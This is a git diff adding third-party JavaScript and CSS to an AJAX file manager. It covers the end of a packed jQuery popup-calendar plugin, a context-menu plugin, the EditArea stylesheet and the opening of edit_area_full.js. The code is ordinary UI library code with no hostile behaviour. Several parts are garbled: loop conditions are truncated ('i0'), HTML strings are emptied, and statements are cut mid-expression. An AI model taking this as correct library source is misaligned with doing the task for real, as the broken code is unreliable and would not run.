2m(){8.3t=0;8.2h=[];8.1L=O;8.1i=[];8.1t=X;8.1v=X;8.2g=[];8.2g[\'\']={2Q:\'5R\',3R:\'5p\',2u:\'&58;51\',2H:\'4D&4z;\',3d:\'4t\',2k:[\'4o\',\'4k\',\'4g\',\'4a\',\'5P\',\'5G\',\'5D\'],3O:[\'5o\',\'5l\',\'5j\',\'5d\',\'57\',\'56\',\'50\',\'4V\',\'4P\',\'4J\',\'4C\',\'4A\'],1R:\'4x/\'};8.1E={3f:\'1z\',3c:\'\',31:\'...\',30:\'\',2W:X,2U:1c,2R:X,2P:1c,2N:1c,2K:\'-10:+10\',2I:0,3Z:1c,3W:X,28:O,26:O,1J:\'5u\',3M:O,3K:O,2w:O};$.14(8.1E,8.2g[\'\']);8.S=$(\'\');$(1d.1r).1K(8.S);$(1d.1r).55(8.3F)}$.14(2m.3I,{3q:I(a){F b=8.3t++;8.2h[b]=a;N b},U:I(a){N 8.2h[a]||a},4F:I(a){$.14(8.1E,a||{})},2p:I(e){F a=G.U(8.1g);H(G.1t){4y(e.2l){1a 9:G.1q(a,\'\');11;1a 13:G.1P(a);11;1a 27:G.1q(a,a.J(\'1J\'));11;1a 33:G.T(a,-1,(e.1j?\'Y\':\'M\'));11;1a 34:G.T(a,+1,(e.1j?\'Y\':\'M\'));11;1a 35:H(e.1j)G.2y(a);11;1a 36:H(e.1j)G.2B(a);11;1a 37:H(e.1j)G.T(a,-1,\'D\');11;1a 38:H(e.1j)G.T(a,-7,\'D\');11;1a 39:H(e.1j)G.T(a,+1,\'D\');11;1a 40:H(e.1j)G.T(a,+7,\'D\');11}}19 H(e.2l==36&&e.1j){G.1A(8)}},2J:I(e){F a=G.U(8.1g);F b=45.5N(e.43==5K?e.2l:e.43);N(b<\' \'||b==a.J(\'1R\').1k(3)||(b>=\'0\'&&b<=\'9\'))},3U:I(a,b){F c=$(a);F d=b.J(\'3c\');H(d){c.3Q(\'<1F K="5v">\'+d+\'\')}F e=b.J(\'3f\');H(e==\'1z\'||e==\'2r\'){c.1z(8.1A)}H(e==\'1x\'||e==\'2r\'){F f=b.J(\'31\');F g=b.J(\'30\');F h=b.J(\'2W\');F i=$(h?\'<20 K="1s" 2v="\'+g+\'" 3E="\'+f+\'" 3C="\'+f+\'"/>\':\'<1x 2a="1x" K="1s">\'+(g!=\'\'?\'<20 2v="\'+g+\'" 3E="\'+f+\'" 3C="\'+f+\'"/>\':f)+\'\');c.5i(\'<1F K="5h">\').3Q(i);i.5f(8.1A)}c.3z(8.2p).5c(8.2J);c[0].1g=b.R},3w:I(a,b){$(a).1K(b.S);a.1g=b.R;F c=P W();b.17=c.16();b.Q=c.1b();b.L=c.15();G.T(b)},53:I(a,b,c,d){F e=8.3r;H(!e){e=8.3r=P 1H({},X);8.1m=$(\'<1I 2a="4U" 4S="1" 3N="2C: 2q; 25: -3X;"/>\');8.1m.3z(8.2p);$(\'1r\').1K(8.1m);8.1m[0].1g=e.R}$.14(e.1l,c||{});8.1m.2G(a);H(2F.41){1W=2F.4B;1V=2F.41}19 H(1d.1U&&1d.1U.2o){1W=1d.1U.3m;1V=1d.1U.2o}19 H(1d.1r){1W=1d.1r.3m;1V=1d.1r.2o}8.1h=d||[(1W/2)-3l,(1V/2)-3l];8.1m.18(\'2n\',8.1h[0]+\'1S\').18(\'25\',8.1h[1]+\'1S\');e.1l.2w=b;8.1v=1c;8.S.3k(\'3j\');8.1A(8.1m[0]);H($.1C){$.1C(8.S)}},4w:I(c){c=(c.3i?c:$(c));c.1D(I(){8.1Q=X;$(\'../1x.1s\',8).1D(I(){8.1Q=X});$(\'../20.1s\',8).18({3h:\'1.0\',3g:\'\'});F b=8;G.1i=$.3e(G.1i,I(a){N(a==b?O:a)})})},4v:I(c){c=(c.3i?c:$(c));c.1D(I(){8.1Q=1c;$(\'../1x.1s\',8).1D(I(){8.1Q=1c});$(\'../20.1s\',8).18({3h:\'0.5\',3g:\'4u\'});F b=8;G.1i=$.3e(G.1i,I(a){N(a==b?O:a)});G.1i[G.1i.1B]=8})},4s:I(a,b){F c=8.U(a.1g);H(c){$.14(c.1l,b||{});8.1w(c)}},4r:I(a,b){F c=8.U(a.1g);H(c){c.3b(b)}},4q:I(a){F b=8.U(a.1g);N(b?b.3a():O)},1A:I(a){F b=(a.1O&&a.1O.2j()==\'1I\'?a:8);H(b.1O.2j()!=\'1I\'){b=$(\'1I\',b.4p)[0]}H(G.2i==b){N}1f(F i=0;i0&&b<6),\'\']},2Y:I(a){H(a.2a==\'2e\'){a=a.5E}F b=1N=0;H(a.3T){b=a.3S;1N=a.2X;5B(a=a.3T){F c=b;b+=a.3S;H(b<0){b=c}1N+=a.2X}}N[b,1N]}});I 1H(a,b){8.R=G.3q(8);8.17=0;8.Q=0;8.L=0;8.Z=O;8.1G=b;8.S=(!b?G.S:$(\'\'));H(b){F c=P W();8.1n=c.16();8.1o=c.1b();8.1p=c.15()}8.1l=$.14({},a||{})}$.14(1H.3I,{J:I(a){N(8.1l[a]!=O?8.1l[a]:G.1E[a])},2Z:I(a){8.Z=$(a);F b=8.J(\'1R\');F c=8.Z.2G().3P(b.1k(3));H(c.1B==3){8.1n=1u(c[b.2A(\'D\')],10);8.1o=1u(c[b.2A(\'M\')],10)-1;8.1p=1u(c[b.2A(\'Y\')],10)}19{F d=P W();8.1n=d.16();8.1o=d.1b();8.1p=d.15()}8.17=8.1n;8.Q=8.1o;8.L=8.1p;8.T()},3b:I(a){8.17=8.1n=a.16();8.Q=8.1o=a.1b();8.L=8.1p=a.15();8.T()},3a:I(){N P W(8.1p,8.1o,8.1n)},2T:I(){F a=P W();a=P W(a.15(),a.1b(),a.16());F b=\'\'+\'\'+8.J(\'2Q\')+\'\'+\'\'+8.J(\'3R\')+\'\';F c=8.J(\'2O\');F d=8.J(\'2U\');F e=8.J(\'2R\');F f=(c?\'\'+c+\'\':\'\')+(d&&!8.1G?b:\'\')+\'\'+(8.2t(-1)?\'\'+8.J(\'2u\')+\'\':(e?\'\':\'<1T K="3L">\'+8.J(\'2u\')+\'\'))+(8.2x(a)?\'\'+8.J(\'3d\')+\'\':\'\')+(8.2t(+1)?\'\'+8.J(\'2H\')+\'\':(e?\'\':\'<1T K="3J">\'+8.J(\'2H\')+\'\'))+\'\';F g=8.J(\'28\');F h=8.J(\'26\');F i=8.J(\'3O\');H(!8.J(\'2P\')){f+=i[8.Q]+\'&3G;\'}19{F j=(g&&g.15()==8.L);F k=(h&&h.15()==8.L);f+=\'<1X K="5k" \'+\'3D="G.2b(\'+8.R+\', 8, \\\'M\\\');" \'+\'1e="G.2c(\'+8.R+\');">\';1f(F l=0;l<12;l++){H((!j||l>=g.1b())&&(!k||l<=h.1b())){f+=\'<1Y 24="\'+l+\'"\'+(l==8.Q?\' 1Z="1Z"\':\'\')+\'>\'+i[l]+\'\'}}f+=\'\'}H(!8.J(\'2N\')){f+=8.L}19{F m=8.J(\'2K\').3P(\':\');F n=0;F o=0;H(m.1B!=2){n=8.L-10;o=8.L+10}19 H(m[0].1k(0)==\'+\'||m[0].1k(0)==\'-\'){n=8.L+1u(m[0],10);o=8.L+1u(m[1],10)}19{n=1u(m[0],10);o=1u(m[1],10)}n=(g?21.5g(n,g.15()):n);o=(h?21.3B(o,h.15()):o);f+=\'<1X K="5e" 3D="G.2b(\'+8.R+\', 8, \\\'Y\\\');" \'+\'1e="G.2c(\'+8.R+\');">\';1f(;n<=o;n++){f+=\'<1Y 24="\'+n+\'"\'+(n==8.L?\' 1Z="1Z"\':\'\')+\'>\'+n+\'\'}f+=\'\'}f+=\'<3p K="3s" 5b="0" 5a="0"><3x>\'+\'<23 K="59">\';F p=8.J(\'2I\');F q=8.J(\'3Z\');F r=8.J(\'2k\');1f(F s=0;s<7;s++){f+=\'<22>\'+(!q?\'\':\'\')+r[(s+p)%7]+(q?\'\':\'\')+\'\'}f+=\'<3v>\';F t=8.2s(8.L,8.Q);8.17=21.3B(8.17,t);F u=(8.3u(8.L,8.Q)-p+7)%7;F v=P W(8.1p,8.1o,8.1n);F w=P W(8.L,8.Q,8.17);F x=P W(8.L,8.Q,1-u);F y=21.54((u+t)/7);F z=8.J(\'3M\');F A=8.J(\'3W\');1f(F B=0;B\';1f(F s=0;s<7;s++){F C=(z?z(x):[1c,\'\']);F D=(x.1b()!=8.Q);F E=D||!C[0]||(g&&xh);f+=\'<22 K="4Z\'+((s+p+6)%7>=5?\' 4Y\':\'\')+(D?\' 4X\':\'\')+(x.1y()==w.1y()?\' 2z\':\'\')+(E?\' 4W\':\'\')+(!D||A?\' \'+C[1]:\'\')+(x.1y()==v.1y()?\' 4T\':(x.1y()==a.1y()?\' 5w\':\'\'))+\'"\'+(E?\'\':\' 5x="$(8).3k(\\\'2z\\\');"\'+\' 5y="$(8).2M(\\\'2z\\\');"\'+\' 1e="G.42(\'+8.R+\', 8);"\')+\'>\'+(D?(A?x.16():\'&3G;\'):(E?x.16():\'\'+x.16()+\'\'))+\'\';x.3o(x.16()+1)}f+=\'\'}f+=\'\'+(!d&&!8.1G?b:\'\')+\'\'+(!$.2d.2D?\'\':\'\');N f},T:I(a,b){F c=P W(8.L+(b==\'Y\'?a:0),8.Q+(b==\'M\'?a:0),8.17+(b==\'D\'?a:0));F d=8.J(\'28\');F e=8.J(\'26\');c=(d&&ce?e:c);8.17=c.16();8.Q=c.1b();8.L=c.15()},2s:I(a,b){N 32-P W(a,b,32).16()},3u:I(a,b){N P W(a,b,1).3V()},2t:I(a){F b=P W(8.L,8.Q+a,1);H(a<0){b.3o(8.2s(b.15(),b.1b()))}N 8.2x(b)},2x:I(a){F b=8.J(\'28\');F c=8.J(\'26\');N((!b||a>=b)&&(!c||a<=c))},3Y:I(){F a=8.1n=8.17;F b=8.1o=8.Q;F c=8.1p=8.L;b++;F d=8.J(\'1R\');F e=\'\';1f(F i=0;i<3;i++){e+=d.1k(3)+(d.1k(i)==\'D\'?(a<10?\'0\':\'\')+a:(d.1k(i)==\'M\'?(b<10?\'0\':\'\')+b:(d.1k(i)==\'Y\'?c:\'?\')))}N e.4M(d.1k(3)?1:0)}});$.4L.3s=I(f){N 8.1D(I(){F a=O;1f(29 4K G.1E){F b=8.4I(\'4H:\'+29);H(b){a=a||{};4G{a[29]=5O(b)}4E(5Q){a[29]=b}}}F c=8.1O.2j();H(c==\'1I\'){F d=(a?$.14($.14({},f||{}),a||{}):f);F e=(e&&!a?e:P 1H(d,X));G.3U(8,e)}19 H(c==\'V\'||c==\'1F\'){F d=$.14($.14({},f||{}),a||{});F e=P 1H(d,1c);G.3w(8,e)}})};$(1d).5S(I(){G=P 2m()});',62,365,'||||||||this|||||||||||||||||||||||||||||||||var|popUpCal|if|function|_get|class|_selectedYear||return|null|new|_selectedMonth|_id|_calendarDiv|_adjustDate|_getInst|div|Date|false||_input||break|||extend|getFullYear|getDate|_selectedDay|css|else|case|getMonth|true|document|onclick|for|_calId|_pos|_disabledInputs|ctrlKey|charAt|_settings|_dialogInput|_currentDay|_currentMonth|_currentYear|hideCalendar|body|calendar_trigger|_popUpShowing|parseInt|_inDialog|_updateCalendar|button|getTime|focus|showFor|length|blockUI|each|_defaults|span|_inline|PopUpCalInstance|input|speed|append|_curInst|_selectingMonthYear|curtop|nodeName|_selectDate|disabled|dateFormat|px|label|documentElement|windowHeight|windowWidth|select|option|selected|img|Math|td|tr|value|top|maxDate||minDate|attrName|type|_selectMonthYear|_clickMonthYear|browser|hidden|_afterShow|regional|_inst|_lastInput|toLowerCase|dayNames|keyCode|PopUpCal|left|clientHeight|_doKeyDown|absolute|both|_getDaysInMonth|_canAdjustMonth|prevText|src|onSelect|_isInRange|_clearDate|calendar_daysCellOver|indexOf|_gotoToday|position|msie|_tidyDialog|self|val|nextText|firstDay|_doKeyPress|yearRange|calendar_prompt|removeClass|changeYear|prompt|changeMonth|clearText|hideIfNoPrevNext|calendar_cover|_generateCalendar|closeAtTop|_showCalendar|buttonImageOnly|offsetTop|_findPos|_setDateFromField|buttonImage|buttonText|||||||||_getDate|_setDate|appendText|currentText|map|autoPopUp|cursor|opacity|jquery|calendar_dialog|addClass|100|clientWidth|iframe|setDate|table|_register|_dialogInst|calendar|_nextId|_getFirstDayOfMonth|tbody|_inlineCalendar|thead|calendar_div|keydown|id|min|title|onchange|alt|_checkExternalClick|nbsp|offsetHeight|prototype|calendar_next|fieldSettings|calendar_prev|customDate|style|monthNames|split|after|closeText|offsetLeft|offsetParent|_connectCalendar|getDay|showOtherMonths|100px|_formatDate|changeFirstDay||innerHeight|_selectDay|charCode|_changeFirstDay|String|options|attr|parents|target|We|remove|selectedIndex|unblockUI|0px|hide|Tu|height|offsetWidth|width|Mo|empty|show|static|Su|parentNode|getDateFor|setDateFor|reconfigureFor|Today|default|disableFor|enableFor|DMY|switch|gt|December|innerWidth|November|Next|catch|setDefaults|try|cal|getAttribute|October|in|fn|substring|endif|javascript|September|lte|clear|size|calendar_currentDay|text|August|calendar_unselectable|calendar_otherMonth|calendar_weekEndCell|calendar_daysCell|July|Prev|calendar_daysRow|dialogCalendar|ceil|mousedown|June|May|lt|calendar_titleRow|cellspacing|cellpadding|keypress|April|calendar_newYear|click|max|calendar_wrap|wrap|March|calendar_newMonth|February|calendar_header|calendar_current|January|Close|calendar_links|calendar_close|calendar_clear|calendar_control|medium|calendar_append|calendar_today|onmouseover|onmouseout|calendar_inline|calendar_div_|while|IE|Sa|nextSibling|noWeekends|Fr|change|trigger|html|undefined|nodeValue|firstChild|fromCharCode|eval|Th|err|Clear|ready'.split('|'),0,{})) \ No newline at end of file diff --git a/BO/ajaxfilemanager/jscripts/contextmenu.js b/BO/ajaxfilemanager/jscripts/contextmenu.js new file mode 100755 index 0000000..114d2ea --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/contextmenu.js @@ -0,0 +1 @@ +(function($){var menu,shadow,trigger,content,hash,currentTarget;var defaults={menuStyle:{width:'100px'},itemStyle:{},itemHoverStyle:{},eventPosX:'pageX',eventPosY:'pageY',shadow:true,onContextMenu:null,onShowMenu:null};$.fn.contextMenu=function(id,options){if(!menu){menu=$('

').hide().css({position:'absolute',zIndex:'500'}).appendTo('body').bind('click',function(e){e.stopPropagation()})}if(!shadow){shadow=$('
').css({zIndex:499}).appendTo('body').hide()}hash=hash||[];hash.push({id:id,menuStyle:$.extend({},defaults.menuStyle,options.menuStyle||{}),itemStyle:$.extend({},defaults.itemStyle,options.itemStyle||{}),itemHoverStyle:$.extend({},defaults.itemHoverStyle,options.itemHoverStyle||{}),bindings:options.bindings||{},shadow:options.shadow||options.shadow===false?options.shadow:defaults.shadow,onContextMenu:options.onContextMenu||defaults.onContextMenu,onShowMenu:options.onShowMenu||defaults.onShowMenu,eventPosX:options.eventPosX||defaults.eventPosX,eventPosY:options.eventPosY||defaults.eventPosY});var index=hash.length-1;$(this).bind('contextmenu',function(e){var bShowContext=(!!hash[index].onContextMenu)?hash[index].onContextMenu(e):true;if(bShowContext)display(index,this,e,options);return false});return this};function display(index,trigger,e,options){var cur=hash[index];content=$('#'+cur.id).find('ul:first').clone(true);content.css(cur.menuStyle).find('li').css(cur.itemStyle).hover(function(){$(this).css(cur.itemHoverStyle)},function(){$(this).css(cur.itemStyle)}).find('img').css({verticalAlign:'middle',paddingRight:'2px'});menu.html(content);if(!!cur.onShowMenu)menu=cur.onShowMenu(e,menu);$.each(cur.bindings,function(id,func){$('#'+id,menu).bind('click',function(e){hide();func(trigger,currentTarget)})});menu.css({'left':e[cur.eventPosX],'top':e[cur.eventPosY]}).show();if(cur.shadow)shadow.css({width:menu.width(),height:menu.height(),left:e.pageX+2,top:e.pageY+2}).show();$(document).one('click',hide)}function hide(){menu.hide();shadow.hide()}$.contextMenu={defaults:function(userDefaults){$.each(userDefaults,function(i,val){if(typeof val=='object'&&defaults[i]){$.extend(defaults[i],val)}else defaults[i]=val})}}})(jQuery);$(function(){$('div.contextMenu').hide()}); \ No newline at end of file diff --git a/BO/ajaxfilemanager/jscripts/edit_area/edit_area.css b/BO/ajaxfilemanager/jscripts/edit_area/edit_area.css new file mode 100755 index 0000000..027412c --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/edit_area.css @@ -0,0 +1,352 @@ +body, html{ + margin: 0; + padding: 0; + height: 100%; + border: none; + overflow: hidden; + background-color: #FFFFFF; +} + +body, html, table, form, textarea{ + font: 12px monospace, sans-serif; +} + +#editor{ + border: solid #888888 1px; + overflow: hidden; +} + +#result{ + z-index: 4; + overflow: scroll; + border-top: solid #888888 1px; + border-bottom: solid #888888 1px; + position: relative; +} + +#container{ + overflow: hidden; + /*height: 100px;*/ + border: solid blue 0px; + position: relative; + padding: 0 5px 0px 0; + z-index: 10; +} + +#textarea{ + position: relative; + top: 0px; + left: 0px; + padding: 0px 0px 0px 45px; + width: 100%; + height: 100%; + /*position: absolute;*/ + overflow: hidden; + z-index: 7; + border: solid green 0px; +/* background: none; + background-color: transparent;*/ +} + +#content_highlight{ + white-space: pre; + /*background-color: #FFFFFF;*/ + padding: 1px 0 0 45px; + position : absolute; + z-index: 4; + overflow: visible; + border: solid yellow 0px; +} + + +#selection_field{ + padding: 0px 0px 0 45px; + background-color: #FFFF99; + height: 1px; + position: absolute; + z-index: 5; + top: -100px; + margin: 1px 0 0 0px; + white-space: pre; + overflow: hidden; +} + +#line_number{ + position: absolute; + overflow: hidden; + border-right: solid black 1px; + z-index:8; + width: 38px; + padding-right: 5px; + text-align: right; + color: #AAAAAA; +} + +#test_font_size{ + padding: 0; + margin: 0; + visibility: hidden; + position: absolute; + white-space: pre; +} + +pre{ + margin: 0; + padding: 0; +} + +.hidden{ + opacity: 0.2; + -moz-opacity: 0.2; + filter:alpha(opacity=20); +} + +#result .edit_area_cursor{ + position: absolute; + z-index:6; + background-color: #FF6633; + top: -100px; + margin: 1px 0 0 0px; +} + +#result .edit_area_selection_field .overline{ + background-color: #996600; +} + + +/* area popup */ +.editarea_popup{ + border: solid 1px #888888; + background-color: #ECE9D8; + width: 250px; + padding: 4px; + position: absolute; + visibility: hidden; + /*display: none;*/ + z-index: 15; + top: -500px; + + /*font-family: Aria, Verdana, sans-serif; + font-size: 10pt;*/ +} + +.editarea_popup, .editarea_popup table{ + font-family: sans-serif; + font-size: 10pt; +} + +.editarea_popup img{ + border: 0; +} + +.editarea_popup .close_popup{ + float: right; + line-height: 16px; + border: 0px; + padding: 0px; +} + +.editarea_popup h1,.editarea_popup h2,.editarea_popup h3,.editarea_popup h4,.editarea_popup h5,.editarea_popup h6{ + margin: 0px; + padding: 0px; +} + +.editarea_popup .copyright{ + text-align: right; +} + +/* Area_search */ +div#area_search_replace{ + /*width: 250px;*/ +} + +div#area_search_replace img{ + border: 0px; +} + +div#area_search_replace div.button{ + text-align: center; + line-height: 1.7em; +} + +div#area_search_replace .button a{ + cursor: pointer; + border: solid 1px #888888; + background-color: #DEDEDE; + text-decoration: none; + padding: 0 2px; + color: #000000; + white-space: nowrap; +} + +div#area_search_replace a:hover{ + /*border: solid 1px #888888;*/ + background-color: #EDEDED; +} + +div#area_search_replace #move_area_search_replace{ + cursor: move; + border: solid 1px #888888; +} + +div#area_search_replace #close_area_search_replace{ + text-align: right; + vertical-align: top; + white-space: nowrap; +} + +div#area_search_replace #area_search_msg{ + height: 18px; + overflow: hidden; + border-top: solid 1px #888888; + margin-top: 3px; +} + +/* area help */ +#edit_area_help{ + width: 350px; +} + +#edit_area_help div.close_popup{ + float: right; +} + +/* area_toolbar */ +.area_toolbar{ + /*font: 11px sans-serif;*/ + width: 100%; + /*height: 21px; */ + margin: 0px; + padding: 0px; + background-color: #ECE9D8; + text-align: center; +} + +.area_toolbar, .area_toolbar table{ + font: 11px sans-serif; +} + +.area_toolbar img{ + border: 0px; + vertical-align: middle; +} + +.area_toolbar input{ + margin: 0px; + padding: 0px; +} + +.area_toolbar select{ + font-family: 'MS Sans Serif',sans-serif,Verdana,Arial; + font-size: 7pt; + font-weight: normal; + margin: 2px 0 0 0 ; + padding: 0; + vertical-align: top; + background-color: #F0F0EE; +} + +table.statusbar{ + width: 100%; +} + +.area_toolbar td.infos{ + text-align: center; + width: 130px; + border-right: solid 1px #888888; + border-width: 0 1px 0 0; + padding: 0; +} + +.area_toolbar td.total{ + text-align: right; + width: 50px; + padding: 0; +} + +.area_toolbar td.resize{ + text-align: right; +} +/* +.area_toolbar span{ + line-height: 1px; + padding: 0; + margin: 0; +}*/ + +.area_toolbar span#resize_area{ + cursor: nw-resize; + visibility: hidden; +} + +/* toolbar buttons */ +.editAreaButtonNormal, .editAreaButtonOver, .editAreaButtonDown, .editAreaSeparator, .editAreaSeparatorLine, .editAreaButtonDisabled, .editAreaButtonSelected { + border: 0px; margin: 0px; padding: 0px; background: transparent; + margin-top: 0px; + margin-left: 1px; + padding: 0px; +} + +.editAreaButtonNormal { + border: 1px solid #ECE9D8 !important; + cursor: pointer; +} + +.editAreaButtonOver { + border: 1px solid #0A246A !important; + cursor: pointer; + background-color: #B6BDD2; +} + +.editAreaButtonDown { + cursor: pointer; + border: 1px solid #0A246A !important; + background-color: #8592B5; +} + +.editAreaButtonSelected { + border: 1px solid #C0C0BB !important; + cursor: pointer; + background-color: #F4F2E8; +} + +.editAreaButtonDisabled { + filter:progid:DXImageTransform.Microsoft.Alpha(opacity=30); + -moz-opacity:0.3; + opacity: 0.3; + border: 1px solid #F0F0EE !important; + cursor: pointer; +} + +.editAreaSeparatorLine { + margin: 1px 2px; + background-color: #C0C0BB; + width: 2px; + height: 18px; +} + +/* waiting screen */ +#processing{ + display: none; + background-color:#ECE9D8; + border: solid #888888 1px; + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; + z-index: 100; + text-align: center; +} + +#processing_text{ + position:absolute; + left: 50%; + top: 50%; + width: 200px; + height: 20px; + margin-left: -100px; + margin-top: -10px; + text-align: center; +} +/* end */ diff --git a/BO/ajaxfilemanager/jscripts/edit_area/edit_area_full.js b/BO/ajaxfilemanager/jscripts/edit_area/edit_area_full.js new file mode 100755 index 0000000..0276728 --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/edit_area_full.js @@ -0,0 +1,35 @@ + function EAL(){this.version="0.6.7";date=new Date();this.start_time=date.getTime();this.win="loading";this.error=false;this.baseURL="";this.template="";this.lang=new Object();this.load_syntax=new Object();this.syntax=new Object();this.loadedFiles=new Array();this.waiting_loading=new Object();this.scripts_to_load=new Array();this.sub_scripts_to_load=new Array();this.resize=new Array();this.hidden=new Object();this.default_settings={debug: false ,smooth_selection: true ,font_size: "10" ,font_family: "monospace" ,start_highlight: false ,toolbar: "search, go_to_line, fullscreen, |, undo, redo, |, select_font,|, change_smooth_selection, highlight, reset_highlight, |, help" ,begin_toolbar: "" ,end_toolbar: "" ,allow_resize: "both" ,min_width: 400 ,min_height: 100 ,replace_tab_by_spaces: false ,allow_toggle: true ,language: "en" ,syntax: "" ,display: "onload" ,max_undo: 20 ,browsers: "known" ,plugins: "" ,gecko_spellcheck: false ,fullscreen: false ,load_callback: "" ,save_callback: "" , save_as_callback: "", change_callback: "" ,submit_callback: "" ,EA_init_callback: "" ,EA_delete_callback: "" ,EA_load_callback: "" ,EA_unload_callback: "" ,EA_toggle_on_callback: "" ,EA_toggle_off_callback: "" };this.advanced_buttons=[ ['new_document', 'newdocument.gif', 'new_document'], ['search', 'search.gif', 'show_search'], ['go_to_line', 'go_to_line.gif', 'go_to_line'], ['undo', 'undo.gif', 'undo'], ['redo', 'redo.gif', 'redo'], ['change_smooth_selection', 'smooth_selection.gif', 'change_smooth_selection_mode'], ['reset_highlight', 'reset_highlight.gif', 'resync_highlight'], ['highlight', 'highlight.gif','change_highlight'], ['help', 'help.gif', 'show_help'], ['save', 'save.gif', 'save'], ['save_as', 'save_as.gif', 'save_as'], ['load', 'load.gif', 'load'], ['fullscreen', 'fullscreen.gif', 'toggle_full_screen'] ];ua=navigator.userAgent;this.nav=new Object();this.nav['isIE']=(navigator.appName=="Microsoft Internet Explorer");if(this.nav['isIE']){this.nav['isIE']=ua.replace(/^.*?MSIE ([0-9\.]*).*$/, "$1");if(this.nav['isIE']<6) this.has_error();}if(this.nav['isNS']=ua.indexOf('Netscape/') !=-1){this.nav['isNS']=ua.substr(ua.indexOf('Netscape/')+9);if(this.nav['isNS']<8 || !this.nav['isIE']) this.has_error();}if(this.nav['isOpera']=(ua.indexOf('Opera') !=-1)){this.nav['isOpera']=ua.replace(/^.*?Opera.*?([0-9\.]+).*$/i, "$1");if(this.nav['isOpera']<9) this.has_error();this.nav['isIE']=false;}this.nav['isGecko']=(ua.indexOf('Gecko') !=-1);if(this.nav['isFirefox'] =(ua.indexOf('Firefox') !=-1)) this.nav['isFirefox']=ua.replace(/^.*?Firefox.*?([0-9\.]+).*$/i, "$1");if(this.nav['isIceweasel'] =(ua.indexOf('Iceweasel') !=-1)) this.nav['isFirefox']=this.nav['isIceweasel']=ua.replace(/^.*?Iceweasel.*?([0-9\.]+).*$/i, "$1");if(this.nav['isCamino'] =(ua.indexOf('Camino') !=-1)) this.nav['isCamino']=ua.replace(/^.*?Camino.*?([0-9\.]+).*$/i, "$1");this.nav['isSafari']=(ua.indexOf('Safari') !=-1);if(this.nav['isIE']>=6 || this.nav['isOpera']>=9 || this.nav['isFirefox'] || this.nav['isCamino']) this.nav['isValidBrowser']=true; +else this.nav['isValidBrowser']=false;this.set_base_url();for(var i=0;i0) settings["toolbar"]=settings["begin_toolbar"] +","+ settings["toolbar"];if(settings["end_toolbar"].length>0) settings["toolbar"]=settings["toolbar"] +","+ settings["end_toolbar"];settings["tab_toolbar"]=settings["toolbar"].replace(/ /g,"").split(",");settings["plugins"]=settings["plugins"].replace(/ /g,"").split(",");for(var i=0;i0){settings["syntax"]=settings["syntax"].toLowerCase();this.load_script(this.baseURL + "reg_syntax/"+ settings["syntax"] + ".js");}eAs[settings["id"]]={"settings": settings};eAs[settings["id"]]["displayed"]=false;eAs[settings["id"]]["hidden"]=false;eAL.start(settings["id"]);};EAL.prototype.delete_instance=function(id){eAL.execCommand(id, "EA_delete");if(window.frames["frame_"+id] && eAs[id]["displayed"]) window.frames["frame_"+id].editArea.execCommand("EA_unload");eAL.toggle(id, "off");var span=document.getElementById("EditAreaArroundInfos_"+id);if(span){span.parentNode.removeChild(span);}var iframe=document.getElementById("frame_"+id);if(iframe){iframe.parentNode.removeChild(iframe);try{delete window.frames["frame_"+id];}catch (e){}}delete eAs[id];};EAL.prototype.start=function(id){if(this.win!="loaded"){setTimeout("eAL.start('"+id+"');", 50);return;}for(var i in eAL.waiting_loading){if(eAL.waiting_loading[i]!="loaded"){setTimeout("eAL.start('"+id+"');", 50);return;}}if(!eAL.lang[eAs[id]["settings"]["language"]] || (eAs[id]["settings"]["syntax"].length>0 && !eAL.load_syntax[eAs[id]["settings"]["syntax"]]) ){setTimeout("eAL.start('"+id+"');", 50);return;}if(eAs[id]["settings"]["syntax"].length>0) eAL.init_syntax_regexp();if(!document.getElementById("EditAreaArroundInfos_"+id) && (eAs[id]["settings"]["debug"] || eAs[id]["settings"]["allow_toggle"])){var span=document.createElement("span");span.id="EditAreaArroundInfos_"+id;var html="";if(eAs[id]["settings"]["allow_toggle"]){checked=(eAs[id]["settings"]["display"]=="onload")?"checked":"";html+="
";html+="";html+="
";}if(eAs[id]["settings"]["debug"]) html+="
";html=eAL.translate(html, eAs[id]["settings"]["language"]);span.innerHTML=html;var father=document.getElementById(id).parentNode;var next=document.getElementById(id).nextSibling;if(next==null) father.appendChild(span); +else father.insertBefore(span, next);}if(!eAs[id]["initialized"]){this.execCommand(id, "EA_init");if(eAs[id]["settings"]["display"]=="later"){eAs[id]["initialized"]=true;return;}}if(this.nav['isIE']){eAL.init_ie_textarea(id);}var html_toolbar_content="";area=eAs[id];for(var i=0;i';}for(var i=0;i';this.iframe_script+='';}if(!this.iframe_css){this.iframe_css="";}var template=this.template.replace(/\[__BASEURL__\]/g, this.baseURL);template=template.replace("[__TOOLBAR__]",html_toolbar_content);template=this.translate(template, area["settings"]["language"], "template");template=template.replace("[__CSSRULES__]", this.iframe_css);template=template.replace("[__JSCODE__]", this.iframe_script);template=template.replace("[__EA_VERSION__]", this.version);area.textarea=document.getElementById(area["settings"]["id"]);eAs[area["settings"]["id"]]["textarea"]=area.textarea;var father=area.textarea.parentNode;var content=document.createElement("iframe");content.name="frame_"+area["settings"]["id"];content.id="frame_"+area["settings"]["id"];content.style.borderWidth="0px";setAttribute(content, "frameBorder", "0");content.style.overflow="hidden";content.style.display="none";var next=area.textarea.nextSibling;if(next==null) father.appendChild(content); +else father.insertBefore(content, next);var frame=window.frames["frame_"+area["settings"]["id"]];frame.document.open();frame.eAs=eAs;frame.area_id=area["settings"]["id"];frame.document.area_id=area["settings"]["id"];frame.document.write(template);frame.document.close();};EAL.prototype.toggle=function(id, toggle_to){if(!toggle_to) toggle_to=(eAs[id]["displayed"]==true)?"off":"on";if(eAs[id]["displayed"]==true && toggle_to=="off"){this.toggle_off(id);} +else if(eAs[id]["displayed"]==false && toggle_to=="on"){this.toggle_on(id);}return false;};EAL.prototype.toggle_off=function(id){if(window.frames["frame_"+id]){var frame=window.frames["frame_"+id];if(frame.editArea.fullscreen['isFull']) frame.editArea.toggle_full_screen(false);eAs[id]["displayed"]=false;eAs[id]["textarea"].wrap="off";setAttribute(eAs[id]["textarea"], "wrap", "off");var parNod=eAs[id]["textarea"].parentNode;var nxtSib=eAs[id]["textarea"].nextSibling;parNod.removeChild(eAs[id]["textarea"]);parNod.insertBefore(eAs[id]["textarea"], nxtSib);eAs[id]["textarea"].value=frame.editArea.textarea.value;var selStart=frame.editArea.last_selection["selectionStart"];var selEnd=frame.editArea.last_selection["selectionEnd"];var 